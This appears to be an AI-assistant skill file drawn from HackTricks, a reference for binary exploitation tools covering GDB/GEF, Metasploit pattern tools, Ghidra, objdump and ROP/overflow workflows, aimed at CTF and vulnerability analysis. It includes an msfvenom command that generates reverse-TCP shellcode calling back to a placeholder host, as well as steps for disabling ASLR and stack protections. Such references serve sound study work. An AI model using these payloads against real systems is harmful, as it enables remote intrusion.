Hacktricks-skills binary-exploitation-tools

A comprehensive guide to binary exploitation tools and techniques. Use this skill whenever the user needs help with buffer overflow exploitation, reverse engineering, debugging binaries, or working with tools like GDB, Metasploit, Ghidra, or analyzing vulnerable binaries. Trigger for any binary exploitation task, CTF challenges, vulnerability analysis, or when the user mentions stack overflows, shellcode, ROP gadgets, or binary analysis.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/tools/SKILL.MD
source content

Binary Exploitation Tools Guide

This skill provides reference material for binary exploitation tools and techniques. Use it to understand tool usage, debug vulnerabilities, and craft exploits.

Metasploit Framework

Pattern Creation and Analysis

# Generate unique pattern for buffer overflow testing
pattern_create.rb -l 3000   # Length of pattern

# Find offset from crashed register value
pattern_offset.rb -l 3000 -q 5f97d534   # Search offset from register value

# Convert assembly to opcodes
nasm_shell.rb
nasm> jmp esp   # Get opcodes for shellcode

# Scan for jump instructions in binary
msfelfscan -j esi /opt/fusion/bin/level01

Shellcode Generation

# Generate reverse TCP shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> \
  [EXITFUNC=thread] [-e x86/shikata_ga_nai] \
  -b "\x00\x0a\x0d" -f c

# Parameters:
# -p: Payload type
# -e: Encoder (shikata_ga_nai for polymorphic)
# -b: Bad characters to avoid
# -f: Output format (c, python, ruby, raw, etc.)

GDB Debugger

Installation and Basic Usage

# Install GDB
apt-get install gdb

# Common parameters
-q              # No banner
-x <file>       # Auto-execute GDB instructions from file
-p <pid>        # Attach to running process

Core Commands

# Execution control
run              # Execute program
start            # Start and break at main
n/next/ni        # Execute next instruction (no step into)
s/step/si        # Execute next instruction (step into)
c/continue       # Continue until next breakpoint
quit             # Exit GDB

# Register manipulation
p system         # Find address of system function
set $eip = 0x12345678   # Change EIP register value

# Disassembly
disassemble main              # Disassemble function
disassemble 0x12345678        # Disassemble at address
set disassembly-flavor intel  # Use Intel syntax
set follow-fork-mode child    # Follow child process after fork
set follow-fork-mode parent   # Follow parent process

# Breakpoints
br func              # Break at function
br *func+23          # Break at function + offset
br *0x12345678       # Break at address
del <NUM>            # Delete breakpoint by number
watch EXPRESSION     # Break when expression value changes

# Information commands
info functions              # List all functions
info functions func         # Info about specific function
info registers              # Show register values
bt                          # Backtrace stack
bt full                     # Detailed backtrace
print variable              # Print variable value
print 0x87654321 - 0x12345678  # Calculate expression

# Memory examination (x/examine)
# Format: x/<num><format><size> <address>
# Formats: o=octal, x=hex, d=decimal, u=unsigned, t=bin, i=instruction, s=string, c=char
# Sizes: b=byte, h=halfword(2B), w=word(4B), g=giant(8B)

x/o 0xDir_hex           # Examine octal at address
x/2x $eip               # 2 words from EIP
x/2x $eip -4            # 2 words from EIP - 4
x/8xb $eip              # 8 bytes from EIP
i r eip                 # Value of EIP register
x/w pointer             # Value at pointer address
x/s pointer             # String pointed to by pointer
x/xw &pointer           # Address where pointer is stored
x/i $eip                # Instructions at EIP

GDB Enhanced Features (GEF)

GEF is a GDB enhancement plugin with additional features:

# Memory commands
help memory              # Help on memory command
canary                   # Search for canary value in memory
checksec                 # Check binary protections
p system                 # Find system function address
search-pattern "/bin/sh" # Search in process memory
vmmap                    # Get memory mappings
xinfo <addr>             # Show page info, size, perms, offset

# Memory watching
memory watch 0x784000 0x1000 byte           # Watch memory region
memory watch $_got()+0x18 5                 # Watch GOT table entry

# Vulnerability detection
format-string-helper    # Detect insecure format strings
heap-analysis-helper    # Check heap issues (NULL free, UAF, double free)

# Pattern tools
pattern create 200              # Generate 200-byte pattern
pattern search "avaaawaa"       # Search for substring offset
pattern search $rsp             # Search offset from register value

# Shellcode
shellcode search x86            # Search available shellcodes
shellcode get 61                # Download shellcode #61

# Memory dump
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

# GOT table
got                          # Check GOT table

Finding RIP Offset with GEF

# Method to find offset to RIP:
# 1. Set breakpoint after function that overwrites RIP
# 2. Send pattern to overflow
# 3. Use 'i f' to see saved RIP value
# 4. Search pattern with that value

gef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
 rip = 0x400cd3; saved rip = 0x6261617762616176

gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

GDB Address Consistency

GDB may show different addresses than the running binary. To ensure consistency:

unset env LINES
unset env COLUMNS
set env _=<absolute_path_to_binary>
# Use same absolute path when exploiting
# Ensure PWD and OLDPWD are identical in both contexts

Backtrace for Function Flow

For statically linked binaries, use backtrace to identify function flow:

# Run binary, stop at input prompt with CTRL+C, then:
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB Server for Remote Debugging

# Start GDB server on target machine
gdbserver --multi 0.0.0.0:23947

# In IDA, configure remote debugging with absolute path

Ghidra Reverse Engineering

Finding Stack Offsets

Ghidra helps identify buffer overflow offsets through local variable positions:

  • Local variables are shown with their offset from stack pointer
  • Example:
    local_bc
    indicates offset of 0xbc
  • If
    local_10
    is a canary, offset from
    local_bc
    to canary is 0xac
  • Remember: First 0x08 bytes where RIP is saved belong to RBP

Compilation and Analysis Tools

GCC Compilation Flags

# Compile without protections for testing
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack \
    1.2.c -o 1.2

# Flags explained:
# -fno-stack-protector: Disable stack canaries
# -D_FORTIFY_SOURCE=0: Disable buffer overflow protection
# -z norelro: Disable RELRO protection
# -z execstack: Make stack executable
# -g: Include debug symbols for GDB
# -o: Output filename

# Disable ASLR temporarily
echo 0 > /proc/sys/kernel/randomize_va_space

# Compile shellcode
nasm -f elf assembly.asm    # Create object file
ld assembly.o -o shellcodeout  # Link to executable

Objdump Analysis

# Disassembly
objdump -d executable              # Disassemble executable sections
objdump -d -Mintel executable      # Intel syntax
objdump -D executable              # Disassemble all sections

# Symbol and section analysis
objdump -t executable              # Symbol table
objdump -s -j .dtors executable    # DTORS section
objdump -s -j .got executable      # GOT section
objdump -D -s -j .plt executable   # PLT section decompiled
objdump -TR executable             # Relocations

# Find specific addresses
objdump -t --dynamic-relo ./exec | grep puts    # Puts address in GOT
objdump -D ./exec | grep "VAR_NAME"             # Static variable address

Core Dump Analysis

# Enable core dumps
ulimit -c unlimited

# Set core dump location
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

# Analyze core dump
sudo gdb --core=<path/to/core> --quiet

Library and Function Analysis

# Find libc address (changes with ASLR)
ldd executable | grep libc.so.6

# Check if address changes (ASLR active)
for i in $(seq 0 20); do ldd <executable> | grep libc; done

# Find function offsets in libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

# Find string offsets in libc
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

# Trace system calls
strace executable

# List all function addresses
rabin2 -i executable

Immunity Debugger

!mona modules                    # Get module protections
!mona find -s "\xff\xe4" -m name_unsecure.dll  # Search for JMP ESP

IDA Pro Remote Debugging

Linux Remote Debug Setup

  1. Copy
    linux_server
    or
    linux_server64
    from IDA folder to Linux target
  2. Run on target:
    ./linux_server64 -Ppass
  3. In IDA: Debugger → Linux Remote → Process Options
  4. Configure connection parameters

Practical Workflow

Buffer Overflow Analysis

  1. Identify vulnerability: Use
    checksec
    or compile with protections disabled
  2. Find offset: Use pattern creation and GDB/GEF to find exact offset
  3. Locate useful addresses: Use
    objdump
    ,
    readelf
    , or
    strings
    to find system, /bin/sh
  4. Craft payload: Combine offset, addresses, and shellcode
  5. Test: Use GDB to verify exploit works

ROP Chain Construction

  1. Find gadgets:
    objdump -d -Mintel | grep ret
  2. Locate libc functions:
    readelf -s libc.so.6 | grep system
  3. Find strings:
    strings -a -t x libc.so.6 | grep /bin/sh
  4. Build chain: Stack addresses in correct order

Shellcode Development

  1. Generate: Use
    msfvenom
    for payloads
  2. Encode: Use encoders to avoid bad characters
  3. Test: Assemble with
    nasm
    and verify with
    objdump
  4. Integrate: Place at appropriate offset in exploit

Common Pitfalls

  • ASLR: Disable with
    echo 0 > /proc/sys/kernel/randomize_va_space
    or use information leak
  • Bad characters: Avoid null bytes, newlines, carriage returns in shellcode
  • Address changes: GDB addresses may differ from runtime; use consistent environment
  • Static binaries: Use backtrace to identify function flow
  • Protections: Check with
    checksec
    and disable for testing

Quick Reference

ToolPurposeKey Command
GDBDebugging
gdb -q ./binary
GEFEnhanced GDB
pattern create 200
MetasploitExploitation
msfvenom -p ...
GhidraReverse engineeringAnalyze local variables
ObjdumpBinary analysis
objdump -d -Mintel
ReadelfELF analysis
readelf -s
StringsString extraction
strings -a -t x
StraceSystem call tracing
strace ./binary